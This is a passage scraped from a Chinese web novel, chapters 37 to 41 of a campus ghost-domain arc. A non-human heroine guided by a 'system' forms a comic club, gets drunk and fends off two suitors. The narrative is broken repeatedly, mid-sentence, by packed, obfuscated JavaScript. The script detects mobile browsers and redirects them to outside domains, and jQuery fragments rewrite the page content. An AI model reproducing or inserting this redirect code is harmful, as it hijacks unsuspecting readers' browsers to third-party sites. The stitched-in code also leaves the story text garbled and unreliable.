d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16541619|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空,第一次,那一片蓝色印刻在她眼中的倒影里, 看不见的风在吹动,树叶被吹落,在风里打着旋儿,缓缓落在闵朝言的脸上, 叶子尖上带着一点露水,微微的凉意渗进肌肤,风的味道很轻,是一种很浅的青绿色。 她将叶子摘下,握在手里,转身缓缓向来时的方向走去。 每走一步,踩在厚厚的落叶上,有的叶子已经枯了,发出呀呀碎裂的声音,脚步也会这样柔软地陷进去一点点。 听着每一次脚步落下的声音,闵朝言回到了社团活动的会场。 越珑三人此刻已经发完了传单,正坐在桌边说着什么,表情中都有点担忧。 他们在谈论什么呢? 越珑眼尖,第一个发现了闵朝言的身影,她扬起一个大大的笑容,快步走到闵朝言身边,手却很小心背起来,避免肢体接触。 “你回来了!我们的传单都发完了,要不要一起去吃点东西?你喜欢吃什么?” 越珑语气欢快地问。 “你招到新社员了吗?” 闵朝言问。 “嗯……大家可能有更想去的社团吧。” 越珑耸了耸肩,用一种轻快的语气说。 “但是你很想要把这个社团组建起来。” 闵朝言说。 越珑的表情顿了一下,笑容不变: “没关系呀,我们要接受一切结果嘛。” 闵朝言没说话,只是拿起桌子上的最后一张传单,仔细看着。 这是她第一次仔细看越珑的漫画, 说实话,依然凌乱癫狂,让人看不明白意思,但是盯得久了,好像也能从那上面的线条里发现出一点规律。 “这是一个人,一边洗澡,一边唱歌。” 闵朝言的声音很平,看向越珑: “像你一样。” “是呀!你看懂了?” 越珑眼睛一亮。 “你唱歌很难听。” 闵朝言面无表情地点评,收起传单。 “我想吃烧烤,要很辣的。” 闵朝言又说。 “好呀,我们去吃烧烤!为了补偿你听我唱歌的辛苦,我请客!” 越珑有点不好意思地挠头,眨眨眼。 木灼青闻言,收拾好东西,乖乖地等待着出发。 闵朝言转身向前走,半响,又转头。 顾羽坐在桌边,没有说话也没有动作,只是安静看着闵朝言。 “不用,他请客。” 闵朝言指着顾羽。 顾羽定定看着她,半响,点点头,笑出声来,眼神有一点湿润,又在这片润泽里亮起来: “那当然了。” 他站起来,走得很慢,一步步来到闵朝言身边,视线描绘着她的发丝,手指却不安分地,轻轻掠过闵朝言的手背。 “这个装饰我不喜欢。” 闵朝言说着,拉住顾羽的手,想了想, “如果有黑色的花,可以。” “嗯,我记住了。” 顾羽笑着点头。 “让你的舍友填入社申请表。” 闵朝言说。 “保证完成任务。” 顾羽认真点头。 “你们俩说什么呢?” 越珑和木灼青走在前面,转头看过来,笑着打趣。 “说,你是我的朋友。” 闵朝言看着她的眼睛,露出一个浅到几乎看不见的笑容。 你是我的第一个朋友。 “我会让你的梦想实现的,越珑。” 她说。 38. 校园鬼域(17) 「让越珑的梦想实现?」 系统惊讶。 「怎么实现啊,越珑想当漫画家啊!可是她如果不当捉鬼人,我们怎么办,积分怎么办?」 系统吓得连环发问。 ‘不知道。’ 闵朝言很坦诚地回答。 …… 系统再一次卡壳。 姐!!姐我求你了姐!! 系统真想找个枕头然后捂在脑袋上,疯狂嘶吼出声。 ‘会有办法的。’ 闵朝言说。 「你为什么这么自信呢?」 系统有气无力。 ‘因为足够想要,就会有办法。有人这么告诉过我。’ 闵朝言说。 她现在再次回忆起精灵,有种很奇妙的感觉,似乎记忆中的画面清晰了一些,对方说话的嗓音,语调,和每一个字句都变得更加清楚。 “我不知道该怎么办,但是我想,如果足够想要的话,就一定会有办法的。” 闵朝言已经忘记当时发生了什么事,只记得精灵坐在她身边,带着一点安抚和一点笑意,轻轻拍着她的肩膀。 “就像,我足够想要到你身边,你就真的来抢我了一样。” 那个声音笑着说。 记忆中的声音散去,闵朝言低头看着自己手里的菜单。 她们来到了一家烧烤摊子前,顾羽似乎不太习惯这样的环境,左右看了一圈,从口袋里拿出消毒湿巾,低下头开始认真擦拭桌面和椅子。 “虽然看起来不怎么样,但是真的超级好吃,摊主手艺巨好!” 越珑拍着胸脯保证,和摊主很熟稔地打招呼。 摊主是个三十多岁的女人,个子不高,有点胖,笑起来很和善,一只手能拿起六杯扎啤,肌肉在短袖下隆起,动作利落灵活。 “带朋友来了?我送你们点烤羊肉!” 摊主笑着和越珑打招呼,也对着闵朝言笑。 闵朝言看着摊主,点了点头。 “谢谢。” 她说。 这是人类的社交辞令,闵朝言一直都知道,但她几乎从没用过这个词。 在现实生活中,她的一切补给都通过网络实现,物资传送让她不必接触任何人,在游戏里,好像总不能在把人打劫一空之后再道谢,那看起来实在太嚣张了。 闵朝言一直以为这是一个很没有必要存在的词, 没想到,在这样一个平凡的瞬间,原来就可以说出来。 “客气什么,都是朋友!” 摊主大笑着将一大把羊肉串放在烤炉上。 顾羽终于擦完了桌子和四张椅子,示意她们可以坐下了。 “谢啦!” 这是越珑。 “……谢谢。” 这是木灼青。 闵朝言看着顾羽,在想自己是不是也应该说一句谢谢。 “你不用和我道谢。” 顾羽先开口了,拉着她坐下。 他给闵朝言选了上风口的位置,这样不管炉子冒出多大的烟,都不会吹到闵朝言脸上。 “为什么?你替我擦了椅子。” 闵朝言问。 “因为我喜欢你,我在追求你,所以你不用道谢,只要享受就好了。” 顾羽说着,轻轻捏捏她的手心。 他原本是不敢这样做的,除了肢体交缠的亲密中,他其实一直都只敢试探着在她的肌肤上擦过。 本能的,他知道闵朝言其实不喜欢这些接触。 但现在,他觉得自己胆子大了一点, 也许也是因为,他发现,闵朝言眼中,他的倒影也多了一些。 “你想和我,谈恋爱?” 闵朝言问。 她只是不理解也不在意人类社会的很多东西,不代表她不知道。 “想,但是追求的这个过程我也非常享受,喜欢一个人,就是只要在她身边,不管怎么样都快乐。” 顾羽点头,又摇头。 “那我还是不喜欢你。你会难过吗?” 闵朝言分析了一下自己的感觉,回答。 她并没有因为待在顾羽身边就感受到快乐。 说到底,快乐到底是一种什么样的感觉,为什么人人都在追求这个? “我知道呀,但是喜欢就是可以单方面的。而且现在,你已经在问我会不会难过了。因为这个问题,我感到很快乐。” 顾羽也不气馁,反而像是收到了鼓励,眼中带着闪亮的笑意。 “为什么?” 闵朝言问。 她有点不适应这种感觉,她一向是很聪明的,但是在这种情绪的问题面前,她仿佛变成了一个学生,什么好奇,什么都需要被解答。 闵朝言仔细分析了一下自己现在的感觉。 嗯,说不上来,但不是讨厌。 她不讨厌学习情绪, 也不讨厌拥有情绪。 闵朝言觉得自己应该是懂得一点快乐的,她之前逗系统要报废它的时候,看着系统的反应,她觉得有意思。 这应该也是一种快乐。 “因为你在乎我难不难过啊,我非常开心。” 顾羽放下闵朝言的手,又开始仔细地给她擦拭餐具。 摊子上用的都是一次性碗筷,顾羽将塑料碗用消毒湿巾擦干净,又把筷子上的毛刺都仔仔细细清理好。 他只帮闵朝言做了这件事,对越珑和木灼青,只是很礼貌地在她们面前,放了两张一片装的消毒湿巾。 什么是正常的人际交往,什么是需要分清楚的界限,顾羽似乎分得很清楚。 闵朝言看着他的动作, 又觉得自己心里泛起另一种情绪: 她觉得顾羽能分清楚这些东西……有点厉害。 “如果你难过的话,我会不开心。” 闵朝言想了想,看着他说。 “……” 顾羽看着她,沉默半响,忽然笑出声来,捂住脸,耳朵却泛起一点红意。 “这种话真是,果然要看谁来说。” 他的声音里带着一点飘起来的笑意。 “我懂,她刚才说我们是朋友的时候,我简直要飞起来了。” 越珑一脸过来人的表情点点头, “我还以为大白天的我突然做梦了呢。” “……很可爱。” 木灼青双手捧着自己的椰汁,点点头。 “同意。” 越珑左手一支啤酒,右手一瓶椰汁,问: “你们喝哪个?” 闵朝言左看看右看看,有点犹豫,她两个都没有试过。 “两个都试试,剩的我喝。” 顾羽说。 闵朝言点点头,于是她面前摆上一杯椰汁和一杯啤酒,其中她不喜欢的那个就会成为今晚顾羽的饮料。 她低下头,喝了一口啤酒, 有点苦,涩涩的,还有一点点酸,但是冰凉的,喝下去之后又觉得好像还挺舒服。 又尝试了一口椰汁, 是浓度更高一点的液体,很甜,有一点点椰子的清香味,也是冰冰凉的,但是没有啤酒凉得那么透。 半分钟之后,顾羽的面前被摆上半杯椰汁。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16545164|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 顾羽端起杯子,也喝了一口,白色的椰汁顺着唇瓣流入,他的唇印在闵朝言之前留下的那一点点水渍上。 甜的。 他想。 “上菜啦上菜啦!” 摊主笑着把刚刚烤好的羊肉串端过来,招呼她们吃。 闵朝言拿起一串羊肉串, 刚刚烤好的肉渗出一点油脂,晶莹透亮的油将淋在上面的孜然炸出一点滋啦滋啦的声音,足量的辣椒粉被油脂浸润,独特的香气顺着这个声音流入耳朵,在烧烤摊的灯光下显出一种油润温暖的色泽。 她低下头,咬了一口。 铁签子上还留有一点余温,是热的,但算不上烫,肉的温度更高一些,在牙齿的挤压下被撕扯离签子,每一口咀嚼都溢出浓香的肉汁,在舌尖流淌。 羊肉外层带着焦香的口感,内层又是刚刚好熟透的柔嫩,瘦肉的口感紧致却不柴,油脂提供刚好的润滑,辣椒是带着香气的强烈刺激,冰凉的啤酒一口饮尽,秋天夜晚的风吹来,从发梢到指尖,都是松快的。 这种感觉很陌生,闵朝言不自觉眯起眼睛。 ——很舒服。 她脑海中冒出这个词汇。 原来进食是一种这么……值得重复体验的事情。 闵朝言一口肉一口酒,动作专注而准确,知道眼前的盘子空了才停下来。 三十串羊肉串,闵朝言自己吃掉了一大半。 “哇,太可爱了。” 越珑撑着脸感慨, “你都能去做吃播了,我从来没看到有人这么认真吃饭的!” “果然,这家就是这么好吃!” 越珑举杯, “在这里,我们庆祝自由漫画社正式成立啦!” “嗯?” 闵朝言眨了眨眼,感觉脸颊热热的,她转头数了一下,发现这里还是四个人。 成立社团要五个人,还有一个呢? “我刚才线上接到了一个申请,估计是发错社团了,我马上就同意了!” 越珑大笑着说, “我让那个人过来和我们一起吃烧烤了,顾羽你别和我抢,这顿我请!” 顾羽也举起椰汁干杯,眼神却一直没离开闵朝言。 闵朝言抬手摸着自己的脸颊,那上面果然有点热意,她好像是脸红了,但是为什么?还有点晕、晕的…… 她晃悠着,直接倒在了顾羽身上。 “喝太着急了。” 顾羽笑着抱住她,轻轻给闵朝言揉着手腕。 “嗯?” 闵朝言有点疑惑地转头看过去。 “别这么看我,我受不了了。” 顾羽轻轻说着,红着耳朵轻轻摸了一下闵朝言的脸颊,小声说: “你喝太快了,胃会涨的,这里有个穴位,按了之后会舒服一点。” 闵朝言想说自己其实根本就没有胃,她又不是真的人类,话到一半才想起来这个不能说,看来就算不是人类,酒精也还是会上头的。 「哇,鬼王还会喝醉啊。」 系统感慨。 闵朝言没说话,她抬手去揪顾羽的头发,就要往下按。 “不,这里不行,回去的……” 顾羽看出了她的意思,一张脸瞬间红透,连忙按住闵朝言作乱的手,轻轻亲了一下她的指尖。 “哦。” 闵朝言有点不满地又揪了一下他的头发,闭上眼,睡着了。 “看来下次要多让她喝点了。” 越珑总结着,一口饮尽啤酒,总结: “太可爱了,小机器人一样。” 39. 校园鬼域(18) 闵朝言睁开眼睛, 晚风吹过她的睫毛,一点星光洒在她的脸颊上。 风缓缓吹来,闵朝言的发梢也随着前行的节奏一步一摇,落在顾羽肩上。 她此刻正伏在顾羽背上,被他背着往回走。 看来几人已经吃完了宵夜,往回走了。 第一次喝酒,闵朝言就昏睡了两个小时。 “你醒了?” 顾羽的手托着闵朝言的大腿,他走得很稳,心跳的声音和温度顺着相贴的肌肤,一点点蔓延到她身上。 “嗯。” 闵朝言说,用很认真的语气说: “喝酒会头晕。” 她知道人类会喝醉,酒精会麻痹大脑,让行动变得随心所欲,理智也许依然存在,但是又和身体断联。 但是就像闵朝言之前知道的所有事情一样, “知道”,和“感受”,其实是非常不同的一件事。 就像她明明知道酒精会对大脑造成影响,可等第一次喝醉的时候,那感觉还是很新奇,而且意外地,并不非常讨厌。 闵朝言以为自己是讨厌超出控制的事情的,她忘记自己从什么时候开始这样,也许是从一开始就这样。 可现在这一瞬间,带着一点残余的酒意,闵朝言闭上眼,枕在顾羽的肩膀上。 她想,不管此刻胸口涌动着的是什么样的情绪, 都一定不会是厌恶。 “是呀,会晕的。” 顾羽声音里带着笑意,像是哄孩子一样,复述着她的话。 “哦。” 闵朝言点点头,打了个哈欠。 晚风很好,她慢慢悠悠地闭上眼睛。 再睡一觉吗? “你醒了?你好呀,我是新社员,林月诀。” 一个声音响起,很柔,轻而缓,嗓音如同熟透的蜜糖融化,尾调里带着似有似无的钩子,撩得连月色都微微摇晃着。 闵朝言转头看去,映入眼帘的是一个比月色更惑人的美人。 他不远不近地走在闵朝言身侧,长发如浓墨泼洒山水,顺着光滑的脖颈滑落,坠在腰间。 他很白,在月光下呈现出一种如玉般的润泽莹亮,唇瓣饱满红润,说话时露出一点舌尖,又很快缩回去,像只羞怯的小蛇。 夜色映在他脸庞。 昏暗的光线里人脸上的沟壑会变得明显,但他却没有一丝一毫的缺陷瑕疵,下颌骨的弧度流畅,鼻尖挺翘的角度完美,连眨眼时那上下颤动着的,鸦羽一般的睫毛,都落下恰到好处的阴影。 很美, 只能这样形容,可这样的形容又似乎远远不够。 闵朝言一时间竟说不出话。 真奇怪,她不是没有见过美人, 上个副本里几乎已经是人类审美中最完美长相组合的予烬,无论从哪个角度都调不出任何瑕疵疲态的鹤棠,就连那两只小狗都个个五官精致,面容俊秀。 但是眼前这个人,有种很不同的…… 熟透,的感觉。 星光在他舌尖融化倾泻,月色在他眼中缱绻懒卧,他不必言明任何,只站在那里,便流淌出一股欲的缠绵悱恻。 闵朝言的视线微顿,仔细看着他的脸。 明明没见过,却觉得眼熟。 “我还以为今天没办法和你打招呼了呢,没想到这么幸运。” 林月诀说着,指尖灵活地将碎发挽到耳后,转头时,脖颈是天鹅般的优雅弧度。 顾羽看着他,目光里凝出冷意。 林月诀却恍若无闻,只是对着闵朝言露出一点笑意,声音是流淌着的蜜糖: “我很想和你打招呼呢。” 越珑和木灼青走在旁边,感觉身边的空气都充满了火花味。 和默默放慢了脚步想要远离纷争的木灼青不同,越珑清了清嗓子,努力承担起了社长的担子: “朝言,这个就是我们的新社员,我刚才叫他一起过来吃夜宵,他来的时候你睡着了,所以他想和你补个自我介绍吧哈哈……” 尴尬的笑声在一片寂静中回荡, 越珑一边尬笑着一边看向顾羽: “顾羽,要不你让朝言下来走走吧,她也醒醒酒。” 越珑发誓, 等闵朝言的脚步一沾地,她就要一手小木一手小闵,三个人一起跑掉! 放那俩男的大眼瞪小眼去! “你想下来吗?要不还是我背着你吧,你再趴一会儿。” 顾羽看着闵朝言,装模作样地说。 闵朝言看了一眼越珑,没动作。 果然! 顾羽心下一松,带上一点得意来。 以闵朝言的性格,能使唤人的时候,怎么会想要自己出力气。 他得意地看向林月诀,眼中带着深深的抵触。 这家伙,从一过来闵朝言还在睡觉的时候,就一直看着她! 顾羽为此很不爽,几次调整了位置,用自己的后背挡住了他的视线。 林月诀看着顾羽有点幼稚的炫耀,什么也没说,动作慵懒地瞥了他一眼,轻慢之意毫不掩饰,视线再次落回到闵朝言身上来。 他实在是一个过于充满吸引力的人,即使这样傲气的神色,依然流露出一股子勾人的味道来。 「靠,狐狸精!」 系统吐槽。 ‘他是谁?’ 闵朝言问。 在之前的剧本里,她没有看到过“林月诀”这个角色,但是长成这副样子,怎么也不可能是路人角色。 闵朝言有些疑惑。 「他一出现我就查了,来回翻了八百遍剧本,之前肯定没有这个角色!奇怪,照理说这个副本的崩坏程度也不高,不至于弄出一个新的重要角色来吧?」 系统也挠头。 ‘没事。’ 闵朝言于是也不再纠结这个。 她现在处于一个很微妙的状态里,她既不想通过杀死越珑的暴力手段来完成任务,也不打算像计划中一样用坑蒙拐骗让越珑走回“正轨”。 该怎么样完成剧情点,让闵朝言自己拿到积分,同时又能让越珑实现她的(抽象)漫画家梦想呢? 在这个最重要的问题面前,一个突然冒出来的林月诀,就显得也没那么重要了。 “你为什么要加入自由漫画社?” 她问。 林月诀却不回答这个问题,挽过头发的手指缓缓顺着脸颊滑下,在唇瓣上不轻不重地刮了一下,柔软的唇被压出一点痕迹,更加红润。 在他的沉默中,却有着什么黏稠炽热的东西在灼烧,正如他一直流连在闵朝言身上的视线。 闵朝言看着他,没什么情绪,却觉得身体的温度不自觉地躁动起来,她知道这是什么感觉。 一般来说,闵朝言向来很纵容自己身体的渴望,她理解熟练的东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16547938|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不多,欲·望算一样。 和情绪不同,欲望很好懂。 不过…… 闵朝言低下头看了一眼此刻正托着自己大腿的那双手,这是顾羽的手。 她看不见顾羽的表情,只能看到他此刻底下的头,和只露出一点点的,被咬得渗出血痕的唇。 她知道顾羽很喜欢她,这不是闵朝言自己的观察,而是顾羽一片片重复宣誓出来之后,被她所承认的结果。 顾羽很喜欢她, 那么,如果闵朝言选择了林月诀,他应该会感到很难过吧? 从情感的逻辑推理, 闵朝言觉得好像是这样。 不过,她有那么在乎顾羽的感受吗? 好像也不至于。 单单从欲望的角度来说,顾羽是比不过林月诀的,这是一场算不上势均力敌的较量。 当然,并不是说顾羽就不好看,他有自己的长处,他五官英俊硬朗,身材健壮挺拔,肌肉线条饱满流畅,一头微微蓬松的栗色短发显得他开朗清爽。 顾羽有自己的魅力,当他在阳光下跃起时,汗水顺着手臂肌肉浸湿布料,贴在劲瘦有力的腰上,闵朝言的视线也会随之停留。 但如今阳光已经隐去,在月色下,顾羽渐渐模糊,林月诀却愈发幽亮润莹。 闵朝言感到一点痒意,她伸出舌尖,舔了下唇瓣。 她没有看错,林月诀在意味明确地向她发出一些邀请,清晰到难以被错认的信号。 闵朝言觉得自己是想接受的, 毕竟林月诀看上去长了一副非常会伺候人的脸,这是她之前没有遇到过的类型。 她自己也感受过几次人类一直狂热追逐的“快感”,但虽说舒服有趣,却好像总没有那些文字画面里形容出的疯狂爆裂。 闵朝言有点好奇那种让头脑理智彻底失控的感觉。 不过…… “顾羽。” 闵朝言突然说。 “?、嗯?” 顾羽愣了一下,才反应过来闵朝言是在叫自己。 “送我回去,好困。” 她闭上眼,继续趴在顾羽肩上。 顾羽愣了,甚至一时间没反应过来,在这场不算交锋的交锋里,闵朝言居然选择了自己。 他甚至不知道自己该做出什么表情,只是笑是不够的,他心中洋溢着的不仅仅是快乐,比快乐更加充盈的,一种氢气球一般的东西嵌入他的心脏。 这与胜负无关,这一刻,他不再介意自己的长相和吸引是否逊于林月诀,不再反复回想自己每一个“或许对于闵朝言来说没有魅力”的瞬间。 即使这是一场比赛,那么,这场比赛的评判标准,也从来不是外表或者任何人眼中的任何条件。 是闵朝言,她的目光和选择就是比赛的标准,她所喜爱的才是有价值的,才是有意义的。 顾羽垂下眼,手掌托着闵朝言的腿,在呼吸的每一个瞬间,都非常想吻她。 没有去分析顾羽的内心戏,闵朝言闭上眼,手搭在他的肩膀上。 林月诀很诱人没错,闵朝言当然也感到意动。 但她确实累了,酒精还没有完全代谢干净,让“思考”这个行为依然显得乏味而枯燥,闵朝言并不急切地渴望肢体交缠的快感,至少在现在, 享用林月诀的渴望, 并没有对顾羽伤心的厌恶, 更加强烈。 40. 校园鬼域(19) 闵朝言结结实实睡了十个小时。 睁开眼之后,她定定看着天花板,想要回忆一下醉酒之后的睡眠和普通的睡觉有什么区别。 怎么说呢, 好像也差不多,只是更沉一些,然后听见一些声音回响。 ‘系统,你会做梦吗?’ 她问。 「我不会睡觉,也不会做梦。」 系统回答,又问, 「你昨天晚上做梦了?」 闵朝言也不会做梦,她的睡眠和系统休眠好像没有什么区别,就是阶段性的失去意识。 ‘我不知道那是不是梦,也可能只是一些记忆的碎片。’ 闵朝言说。 「睡眠状态下的意识活动就可以被称为梦吧,」 系统说。 ‘嗯,也是。’ 闵朝言点头,低声回答, ‘那我梦见了过去。’ 「闵朝言,你有没有反应过来,这是我们的第一次闲聊诶!」 系统突然兴奋起来。 闵朝言眨了眨眼,没理解它突然之间激动成这样的原因是什么: “嗯,好像是。” 「我的一个愿望完成了,」 系统的声音里充满了幸福。 ‘什么愿望?’ 闵朝言问。 「听你说废话啊!说废话真的很有意思的,但是你从来不和我一起说。」 系统回答。 在系统的定义里,一切对于完成任务,推动副本进程无用的交流,都是“废话”。它很喜欢说这些废话,但闵朝言很少会和它一起。 除了需要系统干活的时候,闵朝言基本上无视了它的存在。 ‘哦。’ 闵朝言回了它一个音节。 ‘你查到林月诀是谁了吗。’ 她问。 「好吧,废话时间结束。」 系统有点失望地说,在数据流动的声音里回答闵朝言, 「我昨天把所有的相关数据都跑了三遍,确认在原剧情中,没有出现过任何“林月诀”,甚至没有出现过任何锚点和“林月诀”重合的角色。」 ‘所以,他是新的?’ 闵朝言问。 「从剧情的角度来说,是的,但是从能量的角度来说……」 系统犹豫,又说, 「每个副本的本质都是一个独立的小宇宙,小宇宙的能量波动是有固定范围的,从能量体的监控来说,这个小宇宙并没有产生预测之外的能量波动。」 也就是说, 尽管“林月诀”并非是原剧情中出现的人物,但他也并非是从外部侵入副本的什么存在。 他一直存在于这个小宇宙之中,但没有被写入既定的剧情线里。 ‘这和我之前完成的那个,补全副本的任务,有关系吗?’ 闵朝言问。 「没有直接证据,但是逻辑上是通顺的。」 系统回答。 「在之前的剧情里,越珑和她的伙伴们从来没有踏足过礼堂鬼域,而你带着她进入了那个鬼域,救出了原本也不存在于剧情线里的麓雪,了能林月诀的出现,也是某种蝴蝶效应吧?」 闵朝言思索着,眼睛依然看着天花板。 “啊,你醒了?” 越珑的声音从一遍传来,她手里拿着一个比脑袋还大的卷饼,正在努力奋战早餐。 “嗯。” 闵朝言坐起来。 “对了,那个新社员的事,你怎么想?” 越珑问。 “林月诀?” 闵朝言说。 “顾羽舍友今天给我递了入社申请,我看顾羽的那个意思,是想把林月诀踢出去。可能他觉得人家老勾引你吧,不想让你和他有太多接触。” 越珑说, “我其实无所谓,但还是想问问你的意见。” “问我?你才是社长。” 闵朝言挑眉,不是太理解。 “但是这件事的中心是你啊,我不想替你决定你应该和谁交流,我觉得顾羽也没权力这么做。” 越珑说。 “让他留下来。” 闵朝言说。 林月诀是一个新的未知数,闵朝言本来也要去刺探对方的底细,都在一个社团里,行动还能方便点。 “好,就听你的。” 越珑点头。 “顾羽那边,我去说还是你说?” 她又问。 “为什么要和顾羽解释?” 闵朝言又不懂了。 “一般来讲,这种事情不用和暧昧对象说一下吗?” 越珑挠了挠头,很显然,她对这些事情也是一知半解。 “不需要。” 闵朝言摇头,她不觉得有什么必要。 「就是,跟男二有什么好解释的!」 系统也这么认为。 今天早上是专业课,越珑和闵朝言同一节课,两个人踩着点来到了教室,走进教室的一瞬间,两个声音同时扬起: “朝言!”/“闵同学。” 话音未落,坐在教室两端的两个男生互相对视了一眼,顾羽眼中带着冷意,林月诀则回以看似温和,实则傲慢的笑容。 二人身边都空着一个位置,明显都是给闵朝言留的。 就像他们两个人里,其实根本就没有谁需要来上这节专业课一样。 顾羽坐在窗边,阳光正好穿过他深棕色的发丝,透出一股柔软灿烂;林月诀则是坐在树叶投下的阴影中,雪肤润莹,瞳孔如黑曜石一般闪着光。 越珑感觉自己看到了那种游戏人物PK海报,左边是阳光健气纯情男大,右边是雪肤墨瞳魅惑美人。 她想到这个,没忍住乐了一声,转头看着闵朝言。 她太好奇了,这位唯一的“玩家”要怎么选? “无聊。” 闵朝言没选,拉着越珑直接坐在了第一排。 嗯? 正打算趁着上课把自己下一张画稿画完的越珑看着自己第一排的位置,瞳孔地震。 不要啊! 她没有那么想进步! “额,朝言,要不咱们往后坐一点?” 越珑眼珠子滴溜溜地转。 闵朝言看着也不是头悬梁锥刺股的人啊,怎么还主动做第一排了呢? 莫非她误解了自己的这个舍友, 闵朝言,其实,是个卷王?! 其实只是懒得再往上走的闵朝言:? “没必要。” 闵朝言说。 她坐在椅子上,把连专业书都没有拿出来,看着教室上面的时钟,现在是九点三十五分。 再过五分钟,这间教室,就会被拉入鬼域的沼泽,只需要木灼青走进来……不对。 闵朝言突然反应过来,她转过头看着满教室的人,缓缓皱起眉。 ‘系统。’ 她说。 「在原剧情里,木灼青是在五分钟之后故意触发了鬼域,让越珑进去救她,顾羽是作为路人无辜被卷入的,但是,这也不对啊!」 系统同样意识到了。 木灼青是个有点病娇的青梅角色,但本质上还是好人,即使是故意触发鬼域,她也特意选择了一个空教室,全程只意外波及到了顾羽这个路过的学生而已。 但是,今天这个教室,可是坐满了人,最少上百个学生。 而且,之前木灼青故意触发鬼域的动机是为了逼迫越珑出手拯救自己,但经过之前礼堂鬼域的遭遇,她和越珑早就已经和好了,她现在没有触发鬼域的动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16551214|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机了。 也就是说,这个鬼域不会被木灼青主动触发了。 但是…… 「不行啊,越珑必须进这个鬼域,她在这个鬼域里,才会发现封印已经松动,然后产生危机!」 系统说。 「要不然咱们还像上次一样,自己动手触发吧?」 它问。 就像之前,为了完成剧情点,闵朝言故意将越珑、木灼青和顾羽三人拉进了鬼域一样。 触发鬼域其实很简单, 只需要违背校规中针对这个区域而设定的规则就可以了。 就像这间教室的规则,是上课之后,学生需要保持衣冠整洁,不可以在教室中对校服进行任何程度的损毁。 川阳大学里有很多奇怪的校规,学生们早就已经习惯,甚至会用来当作吐槽的素材。 闵朝言没有说话。 「闵朝言?你在想什么?」 系统不解。 时钟继续向前走,九点三十八分,木灼青走入教室。 看到坐在第一排的闵朝言和越珑,她眼中浮现出一点疑惑,走过来坐在越珑身边,小声问: “怎么坐第一排?” “朝言太想进步了吧。” 越珑耸耸肩,也小声回答。 “好吧。” 木灼青说着,把自己的小说往包里塞了塞,拿出专业课课本,摊在桌面上,露出一点为难的表情。 标准的,“完全没有翻开过课本到时候课上千万不要提问到我”的表情。 闵朝言回头,看着满教室的学生,有的正在玩手机,有的百无聊赖翻着书,还有的已经趴下,进入了安然的梦乡。 忽然,她的头发被轻轻碰了一下,她收回视线,发现自己后侧后方的位置,林月诀正撑着下巴,对着她笑。 “哇,你好努力,真厉害。” 即使是这种标准俗套的搭讪句子,在他蜜熟甜腻的嗓音下,也仿佛流淌着缠绵悱恻的调情意味。 “……努力什么?” 闵朝言不解。 她知道林月诀在勾引自己, 但在这里勾引有什么用?这里是公共场所。 “你不知道吗,第一排是默认给努力好学生的呀。” 林月诀眉眼弯着,低头凑近闵朝言: “不过,如果你站在讲台上的话,我也会很努力,做一个‘好学生’的,如果能讨老师喜欢的话,我什么都愿意做哦。” 他抬手,将闵朝言的碎发别到她耳后,指尖划过那处肌肤,他的体温比闵朝言更低,留下一点微凉的旖旎。 “勾引你,不仅仅是为了让你想上我,亲爱的。” 他的唇掠过闵朝言的耳尖,声音轻过微风,却泼洒着甜蜜的汁液: “也许,我想让你爱我呢。” 闵朝言看着他那双如同黑曜石一般的眼睛,愣了一下。 九点四十分。 上课铃响起。 「闵朝言?闵朝言!鬼域啊,开鬼域!」 系统催促着。 闵朝言收回视线。 九十七人,除了她自己之外,这个教室里坐着九十七个人。 这个教室中的鬼域,并没有很危险,至少越珑活着出来,没有任何问题。 顾羽和木灼青,越珑肯定也能救下来。 林月诀看上去也一副命还很长的样子。 剩下的九十三人呢?可能会死一大半,也可能都死在里面吧。 不过, 闵朝言并不在乎他们的性命,这些人都是在剧情中没有姓名的路人甲,死了就死了,不会影响她完成任何任务。 「闵朝言,你在想什么呢?」 系统的声音里带着疑惑。 是啊, 她在想什么呢? 41. 校园鬼域(20) 九点四十一分。 闵朝言的视线看着悬挂在教室正前方的时钟,上面的秒针随着时间流逝向前走着,很快又过了一圈。 「你在,犹豫?」 系统看着她迟迟没有动作,出声问。 ‘我不希望越珑死掉。’ 闵朝言说。 